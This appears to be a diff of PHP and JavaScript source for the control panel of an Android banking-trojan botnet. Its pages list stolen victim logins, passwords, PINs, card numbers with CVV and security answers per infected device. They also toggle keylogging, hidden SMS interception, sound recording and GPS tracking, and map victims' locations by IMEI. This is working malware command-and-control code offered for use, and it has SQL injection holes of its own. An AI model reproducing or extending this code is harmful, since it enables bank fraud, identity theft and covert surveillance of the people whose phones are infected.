var text_seconds = document.getElementById("id_seconds").value;
|
||||
|
||||
|
||||
$.ajax({ url: "application/set/settingsBots.php?text_imei_set="+ getImeis +"&check_set="+ injections +"&chknetwork="+chknetwork+"&chkgps="+chkgps+"&chkinterceptSMS="+chkinterceptSMS+"&chkhideSMS="+chkhideSMS+"&foreground="+foreground+"&keylogger="+keylogger+"&check_record="+check_record+"&text_seconds="+text_seconds,
|
||||
cache: false});
|
||||
|
||||
startNatif('success','Successfully saved settings!');
|
||||
}
|
||||
|
||||
|
||||
</script>
|
||||
|
||||
<div class="content" style="padding-top:15px;">
|
||||
|
||||
<form name='findCC' method='post'>
|
||||
<a style="margin-left: 35%;color: #EDB749;">
|
||||
Data injections:
|
||||
</a>
|
||||
|
||||
<?php
|
||||
$getFind = $_GET["find"];
|
||||
|
||||
if(isset($_POST["find"]))//Открываем форму логи!
|
||||
{
|
||||
|
||||
$find=$_POST["textfind"];
|
||||
|
||||
header ("Location: /?cont=injections&find=$find");
|
||||
}
|
||||
|
||||
echo "<input type='text' name='textfind' value='$getFind' id='styled-select' style='color: #EDB749; background: #1D1F24; width:15%;border: 1px solid black; border-color: rgba(255,255,255,.5); border-radius: 8px;'></input>";
|
||||
|
||||
?>
|
||||
|
||||
|
||||
|
||||
|
||||
<input type='submit' value='FIND' name='find' style='margin-left:5px; width: 70px' class='btn btn-outline-secondary'/>
|
||||
</form>
|
||||
|
||||
|
||||
<table class="table table-hover table_dark" id="bootstrap-table">
|
||||
<thead class="header_table_bots">
|
||||
<th><a title="Android"><img src="images/icons/table/Android.png" width='25px'/></a></th>
|
||||
<th><a title="Cards"><img src="images/icons/table/injection.png" width='23px'/></a></th>
|
||||
<th>Comments</th>
|
||||
<th><a title="Country"><img src="images/icons/table/icloud.png" width='25px'/></a></th>
|
||||
</thead>
|
||||
|
||||
<?php
|
||||
|
||||
//include 'config.php';
|
||||
//include 'class_users_rights.php';
|
||||
$connection = new PDO('mysql:host='.SERVER.';dbname='.DB, USER, PASSWORD);
|
||||
$connection->exec('SET NAMES utf8');
|
||||
$sql = "SELECT * FROM injs";
|
||||
|
||||
if(isset($_POST["click_log"]))//Открываем форму логи!
|
||||
{
|
||||
|
||||
$log_IMEI = $_POST["click_log"];
|
||||
echo "<script>";
|
||||
echo "$(document).ready(function(){";
|
||||
echo "$('#log_modal').css({'display':'block'});";
|
||||
echo "});";
|
||||
echo "</script>";
|
||||
}
|
||||
|
||||
if(isset($_POST["click_set"]))//Открываем форму настроек!
|
||||
{
|
||||
|
||||
$set_IMEI = $_POST["click_set"];
|
||||
echo "<script>";
|
||||
echo "$(document).ready(function(){";
|
||||
echo "$('#set_modal').css({'display':'block'});";
|
||||
echo "});";
|
||||
echo "</script>";
|
||||
}
|
||||
|
||||
|
||||
if (preg_match("/kom_save/",print_r($_POST,true)))
|
||||
{
|
||||
$connection = new PDO('mysql:host='.SERVER.';dbname='.DB, USER, PASSWORD);
|
||||
$connection->exec('SET NAMES utf8');
|
||||
|
||||
$str = print_r($_POST,true);
|
||||
$str = str_replace("[kom_save","!!!",$str);
|
||||
$str = str_replace("]","@@@",$str);
|
||||
$massiv = explode("!!!", $str);
|
||||
$massiv = explode("@@@", $massiv[1]);
|
||||
$str = $massiv[0];
|
||||
|
||||
$comments = $_POST["komment$str"];
|
||||
$statement = $connection->prepare("UPDATE injs SET comments = '$comments' WHERE id = '$str';");
|
||||
$statement->execute([$comments]);
|
||||
$statement->execute([$str]);
|
||||
}
|
||||
if (preg_match("/delete/",print_r($_POST,true)))
|
||||
{
|
||||
$connection = new PDO('mysql:host='.SERVER.';dbname='.DB, USER, PASSWORD);
|
||||
$connection->exec('SET NAMES utf8');
|
||||
|
||||
$str = print_r($_POST,true);
|
||||
$str = str_replace("[delete","!!!",$str);
|
||||
$str = str_replace("]","@@@",$str);
|
||||
$massiv = explode("!!!", $str);
|
||||
$massiv = explode("@@@", $massiv[1]);
|
||||
$str = $massiv[0];
|
||||
|
||||
$statement = $connection->prepare("DELETE FROM injs WHERE id='$str'");
|
||||
$statement->execute([$str]);
|
||||
|
||||
|
||||
}
|
||||
/****Ограничение по тегам****/
|
||||
$userRights = new users_right;
|
||||
$tags = explode("|", $userRights->getPrivateTags());
|
||||
$thisTag = explode(",", $tags[0]);
|
||||
$privateTag = explode(",", $tags[1]);
|
||||
/****************************/
|
||||
$sql = "SELECT * FROM injs";
|
||||
echo "<form name='formcards' method='post'>";
|
||||
foreach($connection->query($sql) as $row)
|
||||
{
|
||||
$id = $row['id'];
|
||||
$idbot = $row['idbot'];
|
||||
$country = $row['country'];
|
||||
$name = $row['name'];
|
||||
$login = $row['login'];
|
||||
$password = $row['password'];
|
||||
$params1 = $row['params1'];
|
||||
$params2 = $row['params2'];
|
||||
$pin = $row['pin'];
|
||||
$vopros1 = $row['vopros1'];
|
||||
$vopros2 = $row['vopros2'];
|
||||
$otvet1 = $row['otvet1'];
|
||||
$otvet2 = $row['otvet2'];
|
||||
$cc = $row['cc'];
|
||||
$monthyear = $row['monthyear'];
|
||||
$cvv = $row['cvv'];
|
||||
$f_name = $row['f_name'];
|
||||
$l_name = $row['l_name'];
|
||||
$phone = $row['phone'];
|
||||
$dateBrith = $row['dateBrith'];
|
||||
$logs = $row['logs'];
|
||||
|
||||
|
||||
|
||||
|
||||
$comments = $row['comments'];
|
||||
|
||||
|
||||
$imei_="";
|
||||
$AndroidBot = "ID Bots: ";
|
||||
$AndroidOS = "Android: ";
|
||||
$Operator = "Operator: ";
|
||||
$country = "Country: ";
|
||||
$tag_ = "Tag: ";
|
||||
|
||||
$connection2 = new PDO('mysql:host='.SERVER.';dbname='.DB, USER, PASSWORD);
|
||||
$connection2->exec('SET NAMES utf8');
|
||||
$sql2 = "SELECT * FROM kliets";
|
||||
foreach($connection2->query($sql2) as $row2)
|
||||
{
|
||||
|
||||
if($row2['IMEI'] == $idbot)
|
||||
{
|
||||
$OS = $row2['version'];
|
||||
$oper = $row2['number'];
|
||||
$countr = $row2['country'];
|
||||
$lastConnect = $row2['lastConnect'];
|
||||
$tag = $row2['version_apk'];
|
||||
$l_log = $row2['log'];
|
||||
$admin = $row2['r00t'];
|
||||
$screen = $row2['screen'];
|
||||
$requestInjProc=$row2['requestInjProc'];
|
||||
$requestSMS=$row2['requestSMS'];
|
||||
|
||||
//******Получаем иконку состояния бота, вычисляем дату****
|
||||
$arr_data_from = explode(" ", $row2['lastConnect']);
|
||||
$arr_data_till = explode(" ", date('Y-m-d H:i'));
|
||||
|
||||
$date_from = $arr_data_from[0];
|
||||
$date_till = $arr_data_till[0];
|
||||
|
||||
$date_from = explode('-', $date_from);
|
||||
$date_till = explode('-', $date_till);
|
||||
|
||||
$time_from = mktime(0, 0, 0, $date_from[1], $date_from[2], $date_from[0]);
|
||||
$time_till = mktime(0, 0, 0, $date_till[1], $date_till[2], $date_till[0]);
|
||||
|
||||
$day = ($time_till - $time_from)/60/60/24; //получаем разницу кол-во дней!
|
||||
//----------Секунды!-------/
|
||||
$date1 = new \DateTime($row2['lastConnect']);
|
||||
$date2 = new \DateTime(date('Y-m-d H:i'));
|
||||
$diff = $date2->diff($date1);
|
||||
// разница в секундах
|
||||
$seconds = ($diff->y * 365 * 24 * 60 * 60) + //получаем разницу в секундах!
|
||||
($diff->m * 30 * 24 * 60 * 60) +
|
||||
($diff->d * 24 * 60 * 60) +
|
||||
($diff->h * 60 * 60) +
|
||||
($diff->i * 60) +
|
||||
$diff->s;
|
||||
//----------обработка состояние иконки on/off-------/
|
||||
if($day>=2)//Дни!
|
||||
{
|
||||
$img="images/icons/kill.png";
|
||||
$getSortON_OFF="kill";
|
||||
}
|
||||
else
|
||||
{
|
||||
if($seconds<=120)
|
||||
{$img="images/icons/online.png";
|
||||
$getSortON_OFF="online";}
|
||||
else
|
||||
{$img="images/icons/offline.png";
|
||||
$getSortON_OFF="offline";}
|
||||
}
|
||||
//************Иконки ЛОГОВ***************************************
|
||||
|
||||
if($l_log == "1")
|
||||
{$icon_log="images/icons/log_on.png";}
|
||||
elseif($l_log == "2")
|
||||
{$icon_log="images/icons/log_on_g.png";}
|
||||
else
|
||||
{$icon_log="images/icons/log_off.png";}
|
||||
|
||||
|
||||
if($admin == "1")
|
||||
{$icon_admin="images/icons/V.png";}
|
||||
else
|
||||
{$icon_admin="images/icons/X.png";}
|
||||
|
||||
if($seconds<=120)
|
||||
{
|
||||
if($screen == "1")
|
||||
{$icon_screen="images/icons/V.png";}
|
||||
else
|
||||
{$icon_screen="images/icons/X.png";}
|
||||
}
|
||||
else
|
||||
{
|
||||
$icon_screen="images/icons/X.png";
|
||||
}
|
||||
|
||||
if($requestInjProc == "1")
|
||||
{$icon_requestInjProc="images/icons/inj_v.png";}
|
||||
else
|
||||
{$icon_requestInjProc="images/icons/inj_off2.png";}
|
||||
|
||||
if($requestSMS == "1")
|
||||
{$icon_requestSMS="images/icons/sms_v.png";}
|
||||
else
|
||||
{$icon_requestSMS="images/icons/sms_x.png";}
|
||||
//----страны
|
||||
|
||||
if($countr == "") $countr = "not";
|
||||
|
||||
$country = mb_strtolower($countr);
|
||||
|
||||
$imei_ = "$idbot";
|
||||
$AndroidBot = "ID Bots: $idbot";
|
||||
$AndroidOS = "Android: $OS";
|
||||
$Operator = "Operator: $oper";
|
||||
$tag_ = "Tag: $tag";
|
||||
break;
|
||||
}
|
||||
}
|
||||
|
||||
if($_SESSION['panel_right']!="admin")//Ограничение по тегам
|
||||
{
|
||||
$boolContinue=true;
|
||||
if($tags[0]!=",")
|
||||
{
|
||||
foreach($thisTag as $tagZ)
|
||||
{
|
||||
if($tag == $tagZ)
|
||||
{
|
||||
if($tagZ!="")
|
||||
{
|
||||
$boolContinue=false;
|
||||
break;
|
||||
}
|
||||
}
|
||||
}
|
||||
if($boolContinue)continue;
|
||||
|
||||
}
|
||||
else
|
||||
{
|
||||
foreach($privateTag as $tagZ)
|
||||
{
|
||||
if($tag == $tagZ)
|
||||
{
|
||||
if($tagZ!="")
|
||||
{
|
||||
$boolContinue=false;
|
||||
break;
|
||||
}
|
||||
}
|
||||
}
|
||||
if(!$boolContinue)continue;
|
||||
}
|
||||
}//---------------
|
||||
|
||||
/*$vopros1 = $row['vopros1'];
|
||||
$vopros2 = $row['vopros2'];
|
||||
$otvet1 = $row['otvet1'];
|
||||
$otvet2 = $row['otvet2'];
|
||||
$cc = $row['cc'];
|
||||
$monthyear = $row['monthyear'];
|
||||
$cvv = $row['cvv'];
|
||||
|
||||
|
||||
|
||||
$f_name = $row['f_name'];
|
||||
$l_name = $row['l_name'];
|
||||
$phone = $row['phone'];
|
||||
$dateBrith = $row['dateBrith'];
|
||||
$logs = $row['logs'];*/
|
||||
|
||||
|
||||
|
||||
if($name!="")$name = "Name injection: $name</br>";
|
||||
if($login!="")$login = "Login: $login</br>";
|
||||
if($params1!="")$params1 = "Parameter 1: $params1</br>";
|
||||
if($params2!="")$params2 = "Parameter 2: $params2</br>";
|
||||
if($password!="")$password = "Password: $password</br>";
|
||||
if($pin!="")$pin = "Pin: $pin</br>";
|
||||
if($vopros1!="")$vopros1 = "Question 1: $vopros1</br>";
|
||||
if($otvet1!="")$otvet1 = "Response 1: $otvet1</br>";
|
||||
if($vopros2!="")$vopros2 = "Question 2: $vopros2</br>";
|
||||
if($otvet2!="")$otvet2 = "Response 2: $otvet2</br>";
|
||||
if($cc!="")$cc = "Number Card: $cc</br>";
|
||||
if($monthyear!="")$monthyear = "Month/Year: $monthyear</br>";
|
||||
if($cvv!="")$cvv = "CVV: $cvv</br>";
|
||||
|
||||
if($f_name!="")$f_name = "First name: $f_name</br>";
|
||||
if($l_name!="")$l_name = "Last name: $l_name</br>";
|
||||
if($phone!="")$phone = "Phone number: $phone</br>";
|
||||
if($dateBrith!="")$dateBrith = "Date of birth: $dateBrith</br>";
|
||||
|
||||
$logs=str_replace("//br//","</br>",$logs);
|
||||
|
||||
|
||||
$inj = "$name$login$params1$params2$password$pin$vopros1$otvet1$vopros2$otvet2$cc$monthyear$cvv$f_name$l_name$phone$dateBrith$logs";
|
||||
|
||||
$infoBot = "$AndroidBot$AndroidOS$Operator$country$tag_";
|
||||
|
||||
$boolFIND = true;
|
||||
$boolFIND3 = true;
|
||||
$boolFIND4 = true;
|
||||
if(($getFind==null)||($getFind=="")||($getFind==" ")){
|
||||
$boolFIND = true;
|
||||
}else{
|
||||
if(!Сontains($inj, $getFind)) {
|
||||
$boolFIND=false;
|
||||
}
|
||||
if(!Сontains($comments, $getFind)) {
|
||||
$boolFIND3=false;
|
||||
}
|
||||
if(!Сontains($infoBot, $getFind)) {
|
||||
$boolFIND4=false;
|
||||
}
|
||||
}
|
||||
|
||||
if($country=="Country: ")$country="not";
|
||||
|
||||
if(($boolFIND)||($boolFIND3)||($boolFIND4))
|
||||
{
|
||||
|
||||
|
||||
if($AndroidBot!="ID Bots: "){
|
||||
$icon="</br>
|
||||
<a title='$lastConnect'><img src=$img width='16px'/></a>
|
||||
<a title='Screen'><img src=$icon_screen width='18px'/></a>
|
||||
<a title='Hidden intercepting SMS'><img src=$icon_requestSMS width='18px'/></a>
|
||||
<a title='Permission injections'><img src=$icon_requestInjProc width='18px'/></a>
|
||||
<button class='btn_log' onclick='getTextFileLogs(\"$idbot\")' data-toggle='modal' data-target='.logs' style='background: transparent;' name='click_log' value='$idbot' title='Logs' ><img id='logs$idbot' src='$icon_log' title='Logs' alt='img' width='18px' class='img_log'/></button>
|
||||
<button class='btn_log' onclick='getSettingsBot(\"$idbot\");'data-toggle='modal' data-target='.settings' style='background: transparent;' name='click_set' value='$idbot' title='Settings' ><img src='images/icons/fe.png' title='Settings' alt='img' width='20px' class='img_log'/></button>
|
||||
";
|
||||
}else{
|
||||
$icon="";
|
||||
}
|
||||
|
||||
|
||||
echo "<tr class='table_bots' style='color: #A4A4A4'>
|
||||
|
||||
<td>
|
||||
|
||||
<p align='left' style='color: #A4A4A4;'>
|
||||
$AndroidBot</br>
|
||||
$AndroidOS</br>
|
||||
$tag_</br>
|
||||
$Operator</br>
|
||||
Country: <a title='$country' style='margin-top: -4%;'><img src='images/country/$country.png' width='20px'/></a></br>
|
||||
|
||||
$icon
|
||||
|
||||
</p>
|
||||
</td>
|
||||
|
||||
|
||||
<td>
|
||||
<p align='left' style='color: #A4A4A4'>
|
||||
$inj
|
||||
|
||||
</p>
|
||||
</td>
|
||||
|
||||
<td>
|
||||
<textarea name='komment$id' id='styled-select' style='color: #A4A4A4; background: transparent; height:100px; border: 1px solid #A4A4A4;'>$comments</textarea>
|
||||
</td>
|
||||
|
||||
<td>
|
||||
<input type='submit' value='SAVE COMMENT' name='kom_save$id' style='margin-left:5px; border: 1px solid #000; width: 110px' class='btn btn-primary btn-xs'/>
|
||||
</br>
|
||||
<input type='submit' value='DELETE' name='delete$id' style='margin-left:5px; border: 1px solid #000; width: 110px;' class='btn btn-danger btn-xs'/>
|
||||
</td>
|
||||
|
||||
|
||||
</tr>";
|
||||
}
|
||||
}
|
||||
echo "</form>";
|
||||
?>
|
||||
|
||||
</div>
|
||||
|
||||
|
||||
<div class="modal fade logs" id = "log_modal" style="margin-left:0px;">
|
||||
<div id = "modal_l">
|
||||
<a id="exit" data-dismiss="modal" aria-hidden="true" onclick="document.getElementById('logsTextArea').remove();" style="margin-left:97%; cursor: pointer; color: Red;">X</a>
|
||||
<div class="styled-select" id="textArea"></div>
|
||||
</div>
|
||||
</div>
|
||||
|
||||
|
||||
|
||||
<div class="modal fade settings" style="Height: 572px; background: #1D1F24; margin: 0px auto auto -250px; padding: 10px; border-radius: 5px;" tabindex="-1" role="dialog" aria-labelledby="myLargeModalLabel" aria-hidden="true">
|
||||
<button type="button" style="margin-top:-10px; color:#fff" class="close" data-dismiss="modal" aria-hidden="true">×</button>
|
||||
<div class="styled-select">
|
||||
|
||||
<?php
|
||||
$connection4 = new PDO('mysql:host='.SERVER.';dbname='.DB, USER, PASSWORD);
|
||||
$connection4->exec('SET NAMES utf8');
|
||||
$sql4 = "SELECT * FROM settings";
|
||||
|
||||
|
||||
echo "<center><a id='AstatusSettings'><h5 id='statusSettings'>Settings are not active, wait until the bot updates them..</h5></a></center>";
|
||||
|
||||
echo "ID Bots<select name='comboBox_imeis2' id='comboBox_imeis2' style='color: #337ab7; background: #1D1F24; width: 100%; font-size: 13; height: 28px; width: 100%; padding: 5px; font-family: 'Consolas'; border: 1px solid #ccc;''>";
|
||||
|
||||
echo "</select> ";
|
||||
echo "</br></br>";
|
||||
//-----------------------
|
||||
echo "<h5><a>Time of the bot:</a> <a style='color: Red;' id='idSeconds'></a> <a> seconds</a></h5>";
|
||||
echo "<a><h5>Injections</h5></a>";
|
||||
$sql4 = "SELECT * FROM injection";
|
||||
$countInject = 0;
|
||||
|
||||
echo "<div style='width:100%; height:150px; background: #1D1F24; border: 1px solid #C1C1C1; overflow: auto;'>";
|
||||
foreach($connection4->query($sql4) as $row){
|
||||
$countInject++;
|
||||
$ID_inj = $row['id'];
|
||||
$name_inj = $row['name'];
|
||||
|
||||
echo "<input type='checkbox' id='check_set' name='check_set[]' value='$ID_inj' style='margin-top: -10px;'>$name_inj</input></br>";
|
||||
}
|
||||
echo "</div>";
|
||||
|
||||
echo "All injections: $countInject";
|
||||
echo "</br></br>";
|
||||
|
||||
echo "<input type=checkbox name=check_record id='check_record' value='1' style='margin-top:0px;'> Record Sound </input>";
|
||||
echo "<input type='text' name='id_seconds' id='id_seconds' style='color: #337ab7; background: #1D1F24; width: 10%; font-size: 13; height: 22px; padding: 5px; font-family: Consolas; border: 1px solid #ccc; border-radius: 8px'></input> Seconds";
|
||||
echo "</br>";
|
||||
echo "<input type=checkbox name=check_set_v id='chkinterceptSMS' value='1' style='margin-top:0px;'> Interception SMS</input>";
|
||||
echo "</br>";
|
||||
echo "<input type=checkbox name=check_set_d id='chkhideSMS' value='1' style='margin-top:0px;'> Hidden SMS interception</input>";
|
||||
echo "</br>";
|
||||
echo "<input type=checkbox name=check_set_network id='chknetwork' value='1' style='margin-top:0px;' > Geolocation NETWORK</input>";
|
||||
echo "</br>";
|
||||
echo "<input type=checkbox name=check_set_gps id='chkgps' value='1' style='margin-top:0px;'> Geolocation GPS</input>";
|
||||
echo "</br>";
|
||||
echo "<input type=checkbox name=check_foreground id='check_foreground' value='1' style='margin-top:0px;'> Foreground Service</input>";
|
||||
echo "</br>";
|
||||
echo "<input type=checkbox name=check_keylogger id='check_keylogger' value='1' style='margin-top:0px;'> Keylogger</input>";
|
||||
?>
|
||||
<input type='text' name='text_imei_set' id='text_imei_set'style='visibility:hidden'/>
|
||||
</br>
|
||||
<input type='submit' value='Save settings' onclick="saveSetting()" id="bth_add_set" name='bth_add_set' class='btn btn-success' style='Width:100%; Height: 30px; font-size: 14; margin-top:20px;' data-dismiss="modal" aria-hidden="true"/>
|
||||
</div>
|
||||
|
||||
</div>
|
||||
|
||||
<?php
|
||||
}
|
||||
function Сontains($str,$substr)
|
||||
{
|
||||
$result = strpos($str, $substr);
|
||||
if ($result === FALSE) // если это действительно FALSE, а не ноль, например
|
||||
return false;
|
||||
else
|
||||
return true;
|
||||
}
|
||||
?>
|
||||
@@ -0,0 +1,225 @@
|
||||
<div class="content" style="height:80%; color: #000; padding: 10px;">
|
||||
<meta http-equiv="Content-Type" content="text/html; charset=utf-8" />
|
||||
<!-- Если вы используете API локально, то в URL ресурса необходимо указывать протокол в стандартном виде (http://...)-->
|
||||
<script src="//api-maps.yandex.ru/2.1/?lang=en_US" type="text/javascript"></script>
|
||||
<script src="icon_customImage.js" type="text/javascript"></script>
|
||||
<style>
|
||||
html, body, #map {
|
||||
width: 100%; height: 100%; padding: 0; margin: 0;
|
||||
}
|
||||
</style>
|
||||
</head>
|
||||
|
||||
<div id="map"></div>
|
||||
|
||||
|
||||
<?php
|
||||
if (!(isset($_SESSION['panel_user'])))
|
||||
{
|
||||
session_destroy();
|
||||
header("Location: /login.php");
|
||||
}else{
|
||||
|
||||
if ($_SESSION['panel_status']!="Action"){
|
||||
session_destroy();
|
||||
header("Location: /login.php");
|
||||
}
|
||||
|
||||
if (($_SESSION['panel_right']!="admin")&&($_SESSION['panel_right']!="user")){
|
||||
header("Location: /index.php");
|
||||
}
|
||||
}
|
||||
|
||||
$connection = new PDO('mysql:host='.SERVER.';dbname='.DB, USER, PASSWORD);
|
||||
$connection->exec('SET NAMES utf8');
|
||||
$query = ("SELECT * FROM markers");
|
||||
$query2 = ("SELECT * FROM kliets");
|
||||
|
||||
$IMEI ="";
|
||||
$lat = "";
|
||||
$lng = "";
|
||||
$type = "";
|
||||
$provayder = "";
|
||||
$icon = "";
|
||||
|
||||
|
||||
/****Ограничение по тегам****/
|
||||
$userRights = new users_right;
|
||||
$tags = explode("|", $userRights->getPrivateTags());
|
||||
$thisTag = explode(",", $tags[0]);
|
||||
$privateTag = explode(",", $tags[1]);
|
||||
/****************************/
|
||||
|
||||
|
||||
foreach($connection->query($query) as $row)
|
||||
{
|
||||
$IMEIx = $row['name'];
|
||||
$latx = $row['lat'];
|
||||
$lngx = $row['lng'];
|
||||
$typex = $row['type'];
|
||||
|
||||
if($_SESSION['panel_right']!="admin")//Ограничение по тегам
|
||||
{
|
||||
$version_apk="||";
|
||||
foreach($connection->query($query2) as $row2)
|
||||
{
|
||||
if($row2['IMEI']==$IMEIx)
|
||||
{
|
||||
|
||||
$version_apk = $row2['version_apk'];
|
||||
|
||||
break;
|
||||
}
|
||||
}
|
||||
|
||||
if($version_apk!="||")
|
||||
{
|
||||
$boolContinue=true;
|
||||
if($tags[0]!=",")
|
||||
{
|
||||
foreach($thisTag as $tag)
|
||||
{
|
||||
|
||||
if($version_apk == $tag)
|
||||
{
|
||||
if($tag!="")
|
||||
{
|
||||
$boolContinue=false;
|
||||
break;
|
||||
}
|
||||
}
|
||||
}
|
||||
if($boolContinue){
|
||||
echo "$version_apk-$tag";
|
||||
|
||||
continue;}
|
||||
|
||||
}
|
||||
else
|
||||
{
|
||||
foreach($privateTag as $tag)
|
||||
{
|
||||
|
||||
if($version_apk == $tag)
|
||||
{
|
||||
if($tag!="")
|
||||
{
|
||||
$boolContinue=false;
|
||||
break;
|
||||
}
|
||||
}
|
||||
}
|
||||
if(!$boolContinue)continue;
|
||||
}
|
||||
}
|
||||
}
|
||||
|
||||
$IMEI = "$IMEI|$IMEIx";
|
||||
$lat = "$lat|$latx";
|
||||
$lng = "$lng|$lngx";
|
||||
$type = "$type|$typex";
|
||||
|
||||
|
||||
|
||||
|
||||
//******Получаем иконку состояния бота, вычисляем дату****
|
||||
$arr_data_from = explode(" ", $row['time']);
|
||||
$arr_data_till = explode(" ", date('Y-m-d H:i'));
|
||||
|
||||
$date_from = $arr_data_from[0];
|
||||
$date_till = $arr_data_till[0];
|
||||
|
||||
$date_from = explode('-', $date_from);
|
||||
$date_till = explode('-', $date_till);
|
||||
|
||||
$time_from = mktime(0, 0, 0, $date_from[1], $date_from[2], $date_from[0]);
|
||||
$time_till = mktime(0, 0, 0, $date_till[1], $date_till[2], $date_till[0]);
|
||||
|
||||
$day = ($time_till - $time_from)/60/60/24; //получаем разницу кол-во дней!
|
||||
//----------Секунды!-------/
|
||||
$date1 = new \DateTime($row['time']);
|
||||
$date2 = new \DateTime(date('Y-m-d H:i'));
|
||||
$diff = $date2->diff($date1);
|
||||
// разница в секундах
|
||||
$seconds = ($diff->y * 365 * 24 * 60 * 60) + //получаем разницу в секундах!
|
||||
($diff->m * 30 * 24 * 60 * 60) +
|
||||
($diff->d * 24 * 60 * 60) +
|
||||
($diff->h * 60 * 60) +
|
||||
($diff->i * 60) +
|
||||
$diff->s;
|
||||
//----------обработка состояние иконки on/off-------/
|
||||
if($day>=1)//Дни!
|
||||
{
|
||||
$icon="$icon|images/icons/market_off.png";
|
||||
}
|
||||
else
|
||||
{
|
||||
if($seconds<=240)
|
||||
{
|
||||
$icon="$icon|images/icons/market_on.png";
|
||||
}
|
||||
else
|
||||
{
|
||||
$icon="$icon|images/icons/market_off.png";
|
||||
}
|
||||
}
|
||||
}
|
||||
?>
|
||||
|
||||
|
||||
|
||||
<script>
|
||||
|
||||
ymaps.ready(function () {
|
||||
var myMap = new ymaps.Map('map', {
|
||||
center: [0, 0],
|
||||
zoom: 2
|
||||
}, {
|
||||
searchControlProvider: 'yandex#search'
|
||||
});
|
||||
|
||||
var IMEIs = '<?php echo $IMEI;?>'.split('|');
|
||||
var lats = '<?php echo $lat;?>'.split('|');
|
||||
var lngs = '<?php echo $lng;?>'.split('|');
|
||||
var types = '<?php echo $type;?>'.split('|');
|
||||
var icons = '<?php echo $icon;?>'.split('|');
|
||||
|
||||
for(var i=1;i<IMEIs.length;i++)
|
||||
{
|
||||
// Создаём макет содержимого.
|
||||
MyIconContentLayout = ymaps.templateLayoutFactory.createClass(
|
||||
'<div style="color: #2F4F4F; text-shadow: 0.7px 0 0.7px #fff, 0 0.7px 0.7px #fff, -0.7px 0 0.7px #fff, 0 -0.7px 0.7px #fff; font-weight: bold;">$[properties.iconContent]</div>'
|
||||
),
|
||||
myPlacemarkWithContent = new ymaps.Placemark([lats[i], lngs[i]], {
|
||||
iconContent: "["+types[i]+"]"+IMEIs[i],
|
||||
}, {
|
||||
// Опции.
|
||||
// Необходимо указать данный тип макета.
|
||||
iconLayout: 'default#imageWithContent',
|
||||
// Своё изображение иконки метки.
|
||||
iconImageHref: icons[i],
|
||||
// Размеры метки.
|
||||
iconImageSize: [24, 24],
|
||||
// Смещение левого верхнего угла иконки относительно
|
||||
// её "ножки" (точки привязки).
|
||||
iconImageOffset: [-24, -24],
|
||||
// Смещение слоя с содержимым относительно слоя с картинкой.
|
||||
iconContentOffset: [-45, 25],
|
||||
// Макет содержимого.
|
||||
iconContentLayout: MyIconContentLayout
|
||||
});
|
||||
|
||||
myMap.geoObjects
|
||||
.add(myPlacemarkWithContent);
|
||||
|
||||
}
|
||||
|
||||
|
||||
});
|
||||
|
||||
|
||||
</script>
|
||||
|
||||
|
||||
|
||||
</div>
|
||||
@@ -0,0 +1,870 @@
|
||||
<?php
|
||||
if (!(isset($_SESSION['panel_user'])))
|
||||
{
|
||||
session_destroy();
|
||||
header("Location: /login.php");
|
||||
}else{
|
||||
|
||||
if ($_SESSION['panel_status']!="Action"){
|
||||
session_destroy();
|
||||
header("Location: /login.php");
|
||||
}
|
||||
|
||||
if ($_SESSION['panel_right']!="admin"){
|
||||
header("Location: /index.php");
|
||||
}
|
||||
}
|
||||
?>
|
||||
|
||||
<div class="content">
|
||||
|
||||
<center>
|
||||
<input type='submit' value='Users' onClick="location.href='index.php?cont=settings&page=users'" style='width:140px; margin-left:30px;margin-top:10px;' class='btn btn-outline-secondary'/>
|
||||
<input type='submit' value='Bots settings'onClick="location.href='index.php?cont=settings&page=bots-settings'" style='width:140px; margin-left:30px;margin-top:10px;' class='btn btn-outline-secondary'/>
|
||||
<input type='submit' value='Generate an Encrypted URL'onClick="location.href='index.php?cont=settings&page=Twitter'" style='width:230px; margin-left:30px;margin-top:10px;' class='btn btn-outline-secondary'/>
|
||||
|
||||
</center>
|
||||
|
||||
|
||||
|
||||
|
||||
<script>
|
||||
function reqProc()
|
||||
{
|
||||
if (document.getElementById("requestProc").checked) {
|
||||
document.getElementById("textIDrequestProc").disabled = false;
|
||||
}else {
|
||||
document.getElementById("textIDrequestProc").value='';
|
||||
document.getElementById("textIDrequestProc").disabled = true;
|
||||
}
|
||||
}
|
||||
|
||||
function reqGEO()
|
||||
{
|
||||
if (document.getElementById("request_geo").checked) {
|
||||
document.getElementById("textIDRequest_geo").disabled = false;
|
||||
}else {
|
||||
document.getElementById("textIDRequest_geo").value='';
|
||||
document.getElementById("textIDRequest_geo").disabled = true;
|
||||
}
|
||||
}
|
||||
|
||||
function addinjauto()
|
||||
{
|
||||
if (document.getElementById("checkaddinjauto").checked) {
|
||||
document.getElementById("textIDaddinjauto").disabled = false;
|
||||
}else {
|
||||
document.getElementById("textIDaddinjauto").value='';
|
||||
document.getElementById("textIDaddinjauto").disabled = true;
|
||||
}
|
||||
}
|
||||
|
||||
function addInjNoAuto()
|
||||
{
|
||||
if (document.getElementById("IDaddInjNoAuto").checked) {
|
||||
document.getElementById("TextIDaddInjNoAuto").disabled = false;
|
||||
}else {
|
||||
document.getElementById("TextIDaddInjNoAuto").value='';
|
||||
document.getElementById("TextIDaddInjNoAuto").disabled = true;
|
||||
}
|
||||
}
|
||||
function GetPhoneContacts()
|
||||
{
|
||||
if (document.getElementById("checkGetPhoneContacts").checked) {
|
||||
document.getElementById("TextIDcheckGetPhoneContacts").disabled = false;
|
||||
}else {
|
||||
document.getElementById("TextIDcheckGetPhoneContacts").value='';
|
||||
document.getElementById("TextIDcheckGetPhoneContacts").disabled = true;
|
||||
}
|
||||
}
|
||||
|
||||
function Getgeolocation()
|
||||
{
|
||||
if (document.getElementById("checkGetgeolocation").checked) {
|
||||
document.getElementById("TextIDcheckGetgeolocation").disabled = false;
|
||||
}else {
|
||||
document.getElementById("TextIDcheckGetgeolocation").value='';
|
||||
document.getElementById("TextIDcheckGetgeolocation").disabled = true;
|
||||
}
|
||||
}
|
||||
</script>
|
||||
|
||||
<?php
|
||||
|
||||
if ($_SESSION['panel_right']=="admin"){
|
||||
if(isset($_POST["ADDUSER"]))//вызываем модальную форму!
|
||||
{
|
||||
echo "<script>";
|
||||
echo "$(document).ready(function(){";
|
||||
echo "$('#adduser_modal').css({'display':'block'});";
|
||||
echo "});";
|
||||
echo "</script>";
|
||||
}
|
||||
|
||||
if (preg_match("/edit/",print_r($_POST,true))){
|
||||
$connection = new PDO('mysql:host='.SERVER.';dbname='.DB, USER, PASSWORD);
|
||||
$connection->exec('SET NAMES utf8');
|
||||
|
||||
$str = print_r($_POST,true);
